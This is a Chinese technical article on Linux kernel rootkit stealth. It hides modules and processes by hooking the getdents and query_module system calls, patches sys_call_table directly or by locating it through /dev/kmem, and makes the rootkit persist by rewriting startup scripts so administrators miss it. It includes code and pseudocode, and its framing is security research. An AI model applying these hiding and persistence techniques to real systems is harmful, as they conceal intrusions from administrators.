本文深入分析了Linux环境下文件、进程及模块的高级隐藏技术,其中包括:Linux可卸载模块编程技术、修改内存映象直接对系统调用进行修改技术,通过虚拟文件系统proc隐藏特定进程的技术。
作者:论坛整理 来源:zdnet网络安全 2007年12月14日
关键字: 系统安全 Linux
2.2 隐藏模块
上面分析了如何修改系统调用以隐藏特定名字的文件,在实际的处理中,经常会用模块来达到修改系统调用的目的,但是当插入一个模块时,若不采取任何隐藏措施,很容易被对方发现,一旦对方发现并卸载了所插入的模块,那么所有利用该模块来隐藏的文件就暴露了,所以应继续分析如何来隐藏特定名字的模块。Linux中用来查询模块信息的系统调用是sys_query_module,所以可以通过修改该系统调用达到隐藏特定模块的目的。首先解释一下原来的系统调用,原来系统调用的原型为:
int sys_query_module(const char *name, int which, void *buf, size_t bufsize , size_t *ret)
如果参数name不空,则访问特定的模块,否则访问的是内核模块,参数which说明查询的类型,当which=QM_MODULES时,返回所有当前已插入的模块名称,存入buff, 并且在ret中存放模块的个数,buffsize是buf缓冲区的大小。在模块隐藏的过程中只需要对which=QM_MODULES的情况进行处理就可以达到目的。修改后的系统调用工作过程如下:
1)调用原来的系统调用,出错则返回错误代码;
2)如果which不等于QM_MODULES,则不需要处理,直接返回。
3)从buf的开始位置进行处理,如果存在特定的名字,则将后面的模块名称向前覆盖该名字。
4)重复3),直到处理处理完所有的名字,正确返回。
2.3 隐藏进程
在Linux中不存在直接查询进程信息的系统调用,类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的,在背景知识中已经介绍过proc文件系统,由于它应用文件系统的接口实现,因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件,只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。由于proc是特殊的文件系统,只存在于内存之中,不存在于任何实际设备之上,所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号1,除此之外,由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO(值为1),而设备上的1号索引节点是保留不用的。通过上面的分析,可以得出判断一个文件是否属于proc文件系统的方法:
1)得到该文件对应的inode结构dinode;
2)if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i _dev) == 1) {该文件属于proc文件系统}
通过上面的分析,给出隐藏特定进程的伪代码表示:
hacket_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
调用原来的系统调用;
得到fd所对应的节点;
if(该文件属于proc文件系统&&该文件名需要隐藏)
{从dirp中去掉该文件相关信息}
}
2.4 修改系统调用的方法
现在已经解决了如何修改系统调用来达到隐藏的目的,那么如何用修改后的系统调用来替换原来的呢?这个问题在实际应用中往往是最关键的,下面将讨论在不同的情况下如何做到这一点。
(1)当系统导出sys_call_table,并且支持动态的插入模块的情况下:
在Linux内核2.4.18版以前,这种内核配置是非常普遍的。这种情况下修改系统调用非常容易,只需要修改相应的sys_call_table表项,使其指向新的系统调用即可。下面是相应的代码:
int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
int init_module(void)
/*初始化模块*/
{
orig_getdents=sys_call_table[SYS_getdents]; //保存原来的系统调用
orig_query_module=sys_call_table[SYS_query_module]
sys_call_table[SYS_getdents]=hacked_getdents; //设置新的系统调用
sys_call_table[SYS_query_module]=hacked_query_module;
return 0; //返回0表示成功
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_getdents]=orig_getdents; //恢复原来的系统调用
sys_call_table[SYS_query_module]=orig_query_module;
}
(2)在系统并不导出sys_call_table的情况下:
linux内核在2.4.18以后为了安全起见不再导出sys_call_table符号,从而无法直接获得系统调用表的地址,那么就必须找到其他的办法来得到这个地址。在背景知识中提到了/dev/kmem是系统主存的映像,可以通过查询该文件来找到sys_call_table的地址,并对其进行修改,来使用新的系统调用。那么如何在系统映像中找到sys_call_table的地址呢?让我们先看看system_call的源代码是如何来实现系统调用的(代码见/arch/i386/kernel/entry.S):
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_CURRENT(%ebx)
cmpl $(NR_syscalls),%eax
jae badsys
testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS
jne tracesys
call *SYMBOL_NAME(sys_call_table)(,%eax,4)
movl %eax,EAX(%esp) # save the return value
ENTRY(ret_from_sys_call)
这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,%eax,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,%eax,4)的机器指令码是0xff 0x14 0x85。所以匹配这个指令码就行了。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:
struct{ //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
}__attribute__((packed))idt;
int kmem;
/ *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
void readkmem(void *m,unsigned off,int sz) {………}
/*下面函数用于从src读取count个字节至dest处*/
void weitekmem(void *src,void *dest,unsigned int count) {………..}
unsigned sct; //用来存放sys_call_table地址
char buff[100]; //用于存放system_call函数的前100个字节。
char *p;
if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
return 1;
asm(“sidt %0” “:=m” (idtr)); //读取idtr寄存器的值至idtr结构中
readkmem(&idt,idtr.base+8*0x80,sizeof(idt)) //将0x80描述符读至idt结构中
sys_ call_off=(idt.off2<<16) idt.off1; //得到system_call函数的地址。
readkmem(buff,sys_call_off,100) //读取system_call函数的前100字节至buff
p=(char *)memmem(buff,100,”xffx14x85”,3); //得到call语句对应机器码的地址
sct=(unsigned *)(p+3) //得到sys_call_table的地址。
至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:
readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原来的系统调用
readkmem(&orig_query_module,sct+SYS_query_module*4,4);
writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的系统调用
writekmem(hacket_query_module,sct+SYS_query_module*4,4);
2.5 其他的相关技术
上面已经完全解决了隐藏的相关技术问题,在实际应用中,可以把启动模块或者进程的代码做成脚本加入到相应的启动目录中,假设你的Linux运行级别为3,则可以加到目录rc3.d中(该目录常存在于/etc/rc.d或者/etc目录下),然后把该脚本的名字改为可以隐藏的名字。另一种方法就是在一些启动脚本中加入启动你的模块或者进程的代码,但这样比较容易被发现,一个解决思路就是进程或模块启动以后马上恢复正常的脚本,由于系统关机时会向所有进程发送SIGHUP信号,可以在进程或模块中处理该信号,使该信号发生时修改启动脚本,重新加入启动模块的代码,这样当系统下次启动时又可以加载这个的模块了,而且管理员察看启动脚本时也不会发现异常。
3.结束语
本文对Linux环境下的一些高级隐藏技术进行了分析研究,其中所涉及的技术不仅可以用在系统安全方面,在其他方面也有重要的借鉴意义。由于Linux的开放特性,使得攻击者一旦获得了root权限就能够对系统进行较多的修改,所以避免第一次被入侵是至关重要的。